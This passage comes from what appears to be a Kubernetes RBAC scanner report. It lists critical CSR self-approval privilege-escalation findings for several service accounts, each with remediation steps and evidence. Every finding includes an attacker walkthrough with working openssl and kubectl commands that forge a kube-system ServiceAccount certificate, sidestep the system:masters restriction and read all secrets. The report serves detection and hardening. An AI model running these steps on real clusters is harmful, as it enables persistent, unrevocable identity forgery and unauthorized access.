  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-parallel Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/cutres/cutres-parallel (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-parallel can both create certificatesigningrequests (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=cutres-parallel -A and kubectl auth can-i update certificatesigningrequests/approval --as=cutres-parallel -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-parallel | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/cutres/cutres-parallel. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=cutres-parallel -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/deepchain-tenant/deepchain-privileged (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

Subject ServiceAccount/deepchain-tenant/deepchain-privileged can both create certificatesigningrequests (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=deepchain-privileged -A and kubectl auth can-i update certificatesigningrequests/approval --as=deepchain-privileged -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:deepchain-tenant:deepchain-privileged | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/deepchain-tenant/deepchain-privileged. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=deepchain-privileged -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/flux-system/kustomize-controller Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/flux-system/kustomize-controller (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

Subject ServiceAccount/flux-system/kustomize-controller can both create certificatesigningrequests (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=kustomize-controller -A and kubectl auth can-i update certificatesigningrequests/approval --as=kustomize-controller -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:flux-system:kustomize-controller | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/flux-system/kustomize-controller. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=kustomize-controller -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/foothold-exec/foothold-decoy-sa (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

Subject ServiceAccount/foothold-exec/foothold-decoy-sa can both create certificatesigningrequests (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=foothold-decoy-sa -A and kubectl auth can-i update certificatesigningrequests/approval --as=foothold-decoy-sa -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:foothold-exec:foothold-decoy-sa | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/foothold-exec/foothold-decoy-sa. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
